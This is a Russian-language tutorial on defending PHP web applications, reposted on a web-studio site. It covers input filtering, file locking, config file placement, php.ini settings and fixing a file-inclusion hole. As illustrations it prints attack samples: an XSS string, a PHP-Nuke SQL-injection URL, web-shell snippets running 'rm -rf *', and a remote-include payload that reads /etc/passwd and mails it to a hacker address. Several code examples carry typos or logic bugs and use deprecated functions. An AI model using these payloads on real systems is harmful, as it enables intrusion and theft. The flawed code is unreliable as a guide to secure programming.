Как защитить сайт Защита сайта Статьи, информация, Создание сайтов в Рязани

Ул. Горького д.86, оф.14 Наш E-mail +7 (4912) 25-84-24
Создание сайтов в Рязани
Создание, раскрутка, оптимизация сайтов.
Главная | Статьи | Наши работы | Цены | Заказать | Контакты
Новости

18.04/2015
Разбработка мобильной версии Желтых Страниц Рязани
и доработка личного кабинета.

10.02/2015
Новый хостинг парнтер.

Разделы:
Изготовление сайтов

Оптимизация сайтов

Раскрутка сайтов

Размещение сайтов

Спецпредложения

Оригинальный подарок к новому году


Защита сайта
Как защититься от взлома сайта и хотлинка.

Как защитить сайт



Цель данной статьи, показать некоторые приемы защиты при написании скриптов на PHP и показать на примерах, как и из-за чего становится возможен взлом того или иного веб-приложения. Часто бывает так, что программист при написании своего веб-приложения (типа www-чат, форум, гостевая книга и т.д.) не задумывается над тем, а что будет если... Даже, казалась бы незначительная ошибка в коде, может привести к катастрофическим последствиям. На мой взгляд главная задача программиста состоит не только в том, что бы приложение работало, но и максимально обезопасить его от возможных ошибок. Допустим, в приложении есть форма передающая некоторые данные,которые записываются в файл и потом выводятся, например в гостевой книге. Первое, что необходимо сделать, это тщательным образом отфильтровать все данные пришедшие из формы.
Никогда нельзя доверять входящим данным!
Например: в форме есть поле e-mail, где данные не фильтруются.
Злоумышленник может вставить в это поле произвольный код типа
<script>alert(Hacked site);</script> и все кто зайдут на страницу гостевой книги, увидят
сообщение "Hacked site",согласитесь неприятный момент для хозяина сайта.Запретим пользователю в этом поле писать, что-либо кроме почтового адреса, воспользуемся для этого функцией preg_match, функция ищет в строке совпадение для шаблона: если совпадение найдено-возвращается TRUE(истина), если нет- FALSE(ложь).

if (preg_match("/^[a-z0-9_-]{1,20}@(([a-z0-9-]+.)+(com|net|org|mil|edu|gov|ru|info|biz |inc|"."name|[a-z]{2})|[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3})$/is",$mail))
{
print "Ok, почтовый адрес введен верно";
}else{
print "Адрес введен не верно";
}

этот пример проверяет лишь правильность написания адреса, но не его существование :)

В другом поле, ну скажем где пользователь, вводит свой ник, запрещаем любые символы кроме букв русского и латинского алфавита, и разрешим еще символ "_"

if (eregi("[^a-za-я0-9_]",$nick)) {
print "Ok";
}else{
print "ник содержит недопустимые символы";
}

В поле, где пользователь вводит само сообщение, тоже отфильтруем данные. Тут важно определить с самого начала, что вы хотите разрешить для пользовательского ввода. Например, если вы хотите разрешить в теле сообщения некоторые теги html, то используйте функцию strip_tags. Разрешим использовать теги <a><b><i>

$string = strip_tags($string, "<a><b><i>");

Либо заменим в переменной потенциально опасные символы эквивалентными конструкциями HTML.
Функцию htmlspecialchars() использовать с параметром ENT_QUOTES
Функция заменяет некоторые символы, имеющие особый смысл в контексте HTML, эквивалентными конструкциями.
& амперсанд преобразуется в "&"
" двойные кавычки преобразуются в """ только когда неустановлен ENT_QUOTES
одинарная кавычка преобразуется в "" только когда установлен ENT_QUOTES
< преобразуется в "<"
> преобразуется в ">"
пример использования
$string = htmlspecialchars($tring, ENT_QUOTES);

Если правила фильтрации для всех полей одинаковые, то можно проверить все входящие данные из формы, например таким способом:

foreach($_POST as $key => $value) {
$value=trim($value);
if (get_magic_quotes_gpc()) $value = stripslashes($value);
$value=htmlspecialchars($value,ENT_QUOTES);
$_POST[$key]=$value;
$value=str_replace("r","",$value);
$value=str_replace("n","<br>",$value);
$$key=$value;
}

Можно защитить переменную от опасных символов ("прослешить") таким образом

$string=addslashes($string);

Функция addslashes() возвращает строку со знаками обратной косой черты перед символами, которые должны быть заключены в кавычки, в запросах к базам данных и т.д., к таким символам относятся:
однарная кавычка
двойная кавычка
обратная косая черта
NUL(нулевой байт)
Чем чревато не экранирование таких символов:
Например, в движке сайта PHP-NUKE в файле auth.php отсутствовала проверка переменной $aid содержащей логин для авторизации пользователя. Используя одинарную кавычку можно было перенаправить вывод в произвольный файл на сервере. Строка запроса
www.server.ru/admin.php?op=login&pwd=123&aid=
Admin%20INTO%20OUTFILE%20/path_to_file/pwd.txt
делала возможным создание файла /path_to_file/pwd.txt содержащего зашифрованный пароль для логина "Admin". Можно включить в php.ini опцию magic_quotes_gpc=On , она будет автоматически экранировать, обратной косой чертой все потенциально опасные символы (например, апострофы и кавычки).
Если ваше приложение добавляет данные в файл при включеном в php.ini magic_quotes_gpc,то слеши будут автоматически добавляться к данным полученым из POST, GET запросов и кук
Удалить слеши можно функцией stripslashes().
Пример:

$string=stripslashes($string);

Если в php.ini включена опция register_globals=On (означает, что регистрируются глобальные переменные) и вы используете в вашем приложении глобальные переменные, то можно избавиться от слешей таким образом:

if (get_magic_quotes_gpc()) strips($GLOBALS);
function strips(&$str) {
if (is_array($str)) {
foreach($str as $k=>$v) {
if($k!=GLOBALS) {
strips($str[$k]);
}
}
} else {
$str = stripslashes($str);
}
}

Чтобы избавиться от добавления слешей скажем при получении данных из файла, вставьте в начало скрипта set_magic_quotes_runtime(0);

Если, ваше веб-приложение (гостевая книга, форум, веб-чат...), записывает данные, переданные пользователями, то лучше установить блокировку на файл, куда записываются данные. Представьте себе, что одновременно 10 человек пытаются оставить свое сообщение, произойдет нарушение целостности файла с данными. Избежать этого поможет функция flock(), функция устанавливает блокировку на предварительно открытый файл. Можно использовать функцию с ключами:
LOCK_SH разрешает читать заблокированый файл
LOCK_EX устанавливает полную блокировку файла
LOCKUN снимает блокировку
пример:

$file=fopen("bd.dat","ab+");
if ($file && flock($w_file,LOCK_EX)) {
fputs($file,"testn") or die("запись в файл невозможна");
}
fclose($file);

Другой немаловажный момент.
Допустим поля формы, где пользователь вводит ник и email, ограничены чем то вроде
<input type=text name=nick maxlength=10> Злоумышленник может скачать документ с формой ввода и подправить параметр maxlength. Чтобы этого не произошло, установим где-нибудь в самом начале скрипта, обрабатывающего данные, проверку переменной окружения web-сервера HTTP-REFERER (проверив с родного ли хоста пришли данные).

$referer=getenv("HTTP_REFERER");
if (!ereg("^www.server.ru")) {
print "данные пришедшие не с моего сервера запрещены к приему";
exit;
}

Правда переменная HTTP_REFERER формируется браузером и злоумышленник может, например зайти телнетом на 80 порт и сформировать запрос. Защита не бог весть-какая, но дилетанта остановит. Если требуется более сильная защита лучше воспользоваться сессиями. При заходе на страницу с формой отправки, юзеру присваивается уникальный идентификатор (число 128 бит, которое невозможно подделать). Потом организовать передачу идентификатора через сессии либо через куки, либо через URL. Если идентификатор не найден в URL (GET-запрос) или в POST-запросе и не найден в куках (или не совпадает с настоящим), то извините - вы хакер, и данные от вас не принимаются :) Правда, всегда нужно стараться найти золотую середину между удобством использования вашего приложения и его защитой.Если перестараться с ограничениями, всевозможными защитами и блокировками, то вряд ли пользователю захочется посетить ваш сайт еще раз.

Так же необходима защита вашего веб-приложения от флуда, методом частых вызовов php-файлов. Во-первых кто-то, может забить своими сообщениями ту-же гостевую книгу, во-вторых это создает лишний трафик и нагрузку на сервер. Как решение проблемы можно написать модуль, ограничивающий обращение к php-скрипту N-раз в N-времени с одного ip-адреса и подключать его к вашему скрипту функцией include() или require().

include "script_name.php";

PHP может принимать файлы, загруженные из любого браузера, отвечающего стандартам RFC-1867 (например, Netscape Navigator или Microsoft Internet Explorer). Если вы решили написать и использовать скрипт, который позволяет юзерам закачивать на сервер какие-либо файлы, то примите все меры предосторожности, что бы не создать проблем на сервере. Убедитесь, что принятый файл будет правильно обработан и сохранен. Обязательно проверяйте тип, размер принимаемого файла. И присваивайте файлу новое имя. Представьте себе, что в скрипте нет проверки на тип принимаемого файла и программа после приема выводит файл в браузер. А злобный хакер закачал файл cmd.php следующего содержания:
<? passthru("cd ./; ls -la"); ?> и вызвал скрипт браузером www.server.ru/...
Становиться возможен, просмотр листинга корневого каталога. Или еще "лучше", файл <? exec("rm -rf *"); ?> удалит родительский каталог и все его подкаталоги. Избежать такого развития ситуации поможет функция escapeshellcmd(), экранирует все потенциально опасные символы при выполнении команд exec(), passthru(), system(), popen() пример использования функции:

$userinput="rm -rf *";
$string = escapeshellcmd($userinput);
system("print $string");

Еще одна плохая идея-хранить конфигурационные файлы в каталоге с www-документами. Допустим ваш конфигурационный файл имеет расширение "inc", например config.inc и содержит помимо других данных, строки

user:Mickl
password:qwerty

При каком-нибудь сбое программы появится сообщение о ошибке типа
Parse error: parse error in ./home/user/www/config.inc
Естественно хакер попытается открыть этот файл www.server.ru/... и если вдруг окажется, что сервер сконфигурирован таким образом, что файлы типа *.inc он трактует как текстовые, то файл config.inc будет отображен(прочитан) в браузере. Лучше конфиг-файлы хранить выше корня сайта, там - куда нет доступа браузером. Если по каким то причинам, у вас нет доступа выше корня сайта, то создайте отдельный каталог для таких конфиг-файлов и закройте доступ к нему файлом .htaccess с таким содержанием:

<Files *.*>
order allow,deny
deny from all
</Files>

Старайтесь писать ваши приложения, не зависящими от настроек сервера.

Еще маленькая тонкость. Подумайте над тем, что будет, если пользователь в сообщение вставит очень длинную строку без разрывов типа ААААА *256 ААААААА, страшного ничего конечно не произойдет, но вот дизайн той же гостевой или форума разъедется по швам основательно. Что можно сделать в этом случае? Просто разделите данные из переменной пробелами,например по 50 символов, вряд ли вы умудритесь составить нормальное слово длиннее 50 символов.

function bigword($string) {
$s=str_replace(""",""",$string);
return " ".wordwrap($message,51," ",1)." ";
}

Почему становится возможен межсайтовый скриптинг и как это выглядит.

Язык PHP мощный и в то же время простой. Для облегчения работы программиста,разработчиками PHP, функции fopen(), file(), include(), readfile()... написаны таким образом, что програмисту нет необходимости открывать сокет и т.д. например, для чтения файла с удаленного сервера. Хотя в PHP есть функции предназначенные именно для этого socket(), fsockopen(), pfsockopen() позволяющие устанавливать связь с различными службами другого компьютера через протоколы TCP, UDP. Если параметр, передаваемый функции, начинается с префикса http://, ftp://, то функция сама установит соединение http, ftp с сервером. Если параметр будет задан в виде php://stdin, php://stdout или php://stderr будет открыт соответствующий стандартный поток ввода/вывода. Причем возможно не только чтение файла, но и запись в него, при условии соответствующих прав (chmod) на файл. Например:

$string=fopen("www.server.ru/..., "r"); Функция откроет подключение HTTP к
серверу www.server.ru и возвратит манипулятор файла test.txt,скачает содержимое файла test.txt в переменную как из обычного файла.

$string=fopen("ftp://login:pass@server.ru/test.txt/", "w"); Функция откроет подключение FTP к серверу www.server.ru и возвратит манипулятор файла test.txt. Откроет файл www.server.ru/test.txt для записи,если файл не существует функция будет пытаться создать файл. Если сервер www.server.ru не поддерживает пассивный режим FTP, работа функции закончится неудачей. Косая черта необходима в конце имени файла из-за того, что не поддерживается перенаправление!

Пример (код взят из некоего приложения, не знаю о чем и каким местом думал тот программист): страница index.html генерирует ссылки вида
<a href="./view.php?f=news">news</a>
<a href="./view.php?f=links">links</a>

файл view.php содержит строки
include "functions.php";
print_file_view($f);

Ну и в файле functions.php есть функция print_file_view($f), отвечающая за вывод информации из файла с именем f=...
function print_file_view($f) {
$file_array_view=file("$f");
foreach ($file_array_view as $k=>$line) {
print $line."<br>";
}
}

При клике по ссылке <a href="./view.php?f=news">news</a> файл view.php выдаст содержимое файла news. На первый взгляд все нормально. Функция file() загружает все содержимое в индексируемый массив (каждый элемент массива соответствует одной строке файла), foreach() возвращает пару "ключ/значение" и перемещает указатель к следующему элементу, print возвращает значение $line Но ... функция file не проверяет существует ли файл! И если в запросе передать значение $f отличное от news (например: www.server.ru/..., то произойдет сбой программы (так как файл blabla не существует). И будет выведено сообщение о ошибке:
Warning: file("blabla") - No such file or directory in ./home/user/www/functions.php on line 3
Warning: Invalid argument supplied for foreach() in ./home/user/www/functions.php on line 4
Разумеется если в php.ini включена директива display_errors =On (что чаще всего и бывает) На мой взгляд логичнее отключить вывод ошибок, и включить директиву записи ошибок в лог-файл сервера.

display_errors =Off
log_errors=On

В результате такого запроса, становится известен путь к скрипту и имя файла. Если нет доступа к php.ini, можно добавить в начало скрипта строку error_reporting(0); это подавит вывод ошибок.

Но ... надо не подавлять ошибки, а писать код без ошибок!

Если нет доступа к http.conf и к php.ini, например вы простой клиент хостинга, все равно можно создать разные настройки для страниц, расположеных в разных каталогах, но принадлежащих одному приложению. С помощью файла .htaccess Допустим директива вывода ошибок на сервере отключена display_errors =Off, а вам надо отладить свое приложение и включить вывод ошибок, то в файле .htaccess напишите следующие строки:

php_value error_reporting 2039
php_flag log_error off
php_flag display errors on

error_reporting обязательно устанавливайте только в виде числового значения, а не с помощью константы!
Теперь у вас свои настройки (независящие от настроек сервера) для каталога, где находится файл .htaccess , только не забывайте, что скорость работы программы замедляется из-за обращение к .htaccess

Дальше, хакер может на своем сайте www.hacker_site.ru создать файл cmd.txt с таким содержимым
<? passthru("cd /etc; cat /etc/passwd"); ?> или
<? passthru("cd /etc; cat > /etc/passwd | mail hacker@hacker_site.ru"); ?>
И заставить уязвимый скрипт таким запросом
www.server.ru/...
либо вывести в браузер содержание файла /etc/passwd с сервера, где находится уязвимый скрипт или отправить /etc/passwd себе на e-mail.

Это не в коей мере нельзя считать уязвимостью PHP, это ошибка программирования !

Можно запретить открывать URL через файловые функции в php.ini опцией
allow_url_fopen=Off
Если доступ к настройкам php отсутствует (вы просто клиент хостинга), то создайте в корне своего сайта файл .htaccess с содержанием php_value allow_url_fopen 0 правда это несколько замедлит работу программы, т.к. при каждом вызове *.php скриптов будет происходить обращение к файлу .htaccess
Но как известно - БЕЗОПАСНОСТИ МНОГО НЕ БЫВАЕТ!
Так же необходимо вырезать из переменной все префиксы http://, ftp:// функцией str_replace() :

$string=str_replace("http://","",$string);
$string=str_replace("ftp://","",$string);

Причем самое смешное состоит в том, что включение безопасного режима safe_mode=On не решает проблемы, функции продолжают исправно фунциклировать!

И так - исправим уязвимую функцию function print_file_view($f)
Добавим в код проверку на существование файла и принудительно добавим расширение ".dat" к к переменной $f. Почему расширение ".dat"? Потому, что вряд ли удастся найти сервер, который будет трактовать файлы "*.dat" как текстовые. И вырежем из переменной все префиксы http://, ftp://, если таковые в ней случайно! появятся :)

$f=str_replace("http://","",$f);
$f=str_replace("http://","",$f);
if (is_file($f.".dat")) {
$file_array_view=file($f.".dat");
foreach ($file_array_view as $k=>$line) {
print $line."<br>";
}
}else print "ERROR 404 document not found";

Функция is_file() проверяет существование заданного файла и возможность выполнения с ним операций "чтения/записи". Теперь запрос вида www.server.ru/... не даст никакой информации злоумышленнику, будет выведено сообщение, что файл не существует "ERROR 404 document not found".

Cписок некоторых директив php.ini, которые имеет смысл настроить для комфортной и безопасной работы с PHP.

magic_quotes_gpc если включена, автоматически добавляет слеши к данным пришедшим от пользователя - из POST, GET запросов и кук.

magic_quotes_runtime если включена, автоматически добавляет слеши к данным, полученным во время исполнения скрипта - например, из файла или базы данных.

register_globals если включена, переменные GET, POST, Cookie, Server будут регистрироваться как глобальные переменные. Если директива выключена, то глобальный доступ можно получить через массивы $HTTP_ENV_VARS, $HTTP_GET_VARS, $HTTP_POST_VARS, $HTTP_COOKIE_VARS, $HTTP_SERVER_VARS

track_vars если разрешена, то глобальные переменные GET, POST, Cookie, Server всегда будут находиться в глобальных массивах $HTTP_ENV_VARS, $HTTP_GET_VARS, $HTTP_POST_VARS, $HTTP_COOKIE_VARS, $HTTP_SERVER_VARS

allow_url_fopen если включена, позволяет обращаться с объектами URL как с файлами (по умолчанию включена!), есть смысл отключить данную директиву, если не планируете работать с удаленными файлами. Зачем облегчать хакерам жизнь? :) Присутствует только в версиях PHP выше 4.0.3 , до версии 4.0.3(включительно) можно лишь запретить во время компиляции PHP --disable-url-fopen-wrapper

upload_tmp_dir указывает на временный каталог для хранения файлов, загруженых с сервера.

safe_mode включитьвыключить безопасный режим для PHP

safe_mode_exec_dir если включен безопасный режим, то функции, которые исполняют системные программы (типа system, exec...) не будут работать вне этого каталога.

enable_dl Лучше отключить!!! Необходима лишь когда PHP стоит как модуль Apache. С помощью функции dl() можно включать и отключать динамическую загрузку расширений PHP через виртуальный сервер или каталог. При помощи динамической загрузки можно обойти запреты в safe_mode и open_base_dir. По умолчанию всегда разрешена! За исключением safe_mode.

display_errors если включена, показывает на экране ошибки как часть вывода HTML

error_log название файла, куда записываются програмные ошибки

error_reporting устанавливает степень подробности ошибок, значение должно быть числовое.

ignore_user_abort (по умолчанию разрешено). При запрете данной директивы, программа будет завершена, если пользователь завершит соединение с программой. Лучше выключить, так как юзер может написать 2 скрипта, с такой строкой в каждом скрипте ignore_user_abort(0): по истечении N-времени, 1 скрипт запустит второй, потом второй
запустит первый. Получается, что-то типа крона, будут кушаться системные ресурсы :)

include_path определяет список каталогов, в которых функции include(), require(),
fopen_with_path() проводят поиск файлов. По умолчанию установлена в "." (только в этом
каталоге). В UNIX каталоги в списке разделяются двоеточием, в Win точкой с запятой.

max_execution_time устанавливает максимальное время в секундах, отпущеных для работы скрипта по умолчанию - 30 секунд.

memory_limit устанавливает максимальный объем памяти (в байтах), который можно использовать программе и не позволяет кривым скриптам использовать весь объем памяти сервера.

Ну вот, пожалуй и все, в одной статье просто невозможно охватить все аспекты. Я надеюсь, что время затраченное на написание данной статьи, не пропадет даром и ваши веб-приложения станут более защищенными от взлома. Не забывайте о тех пользователях, которые будут использовать ваши скрипты на своих сайтах!

Статья является собственностью RusH security team.


Дата публикации: 09/02/2015
Прочитано: 16776 раз
Дополнительно на данную тему:
Защита от hotlinking
Система защиты веб-портала. Часть 1
Система защиты веб-портала. Часть 2
Фильтрация данных в PHP
Методы проверки на правильность заполнения полей
Безопасное программирование на PHP
SQL взлом
Советы по защите сайта
Что же делать? Как защититься от хаксоров?
Хранение файлов за пределами корневого каталога документов

Назад | Начало | Наверх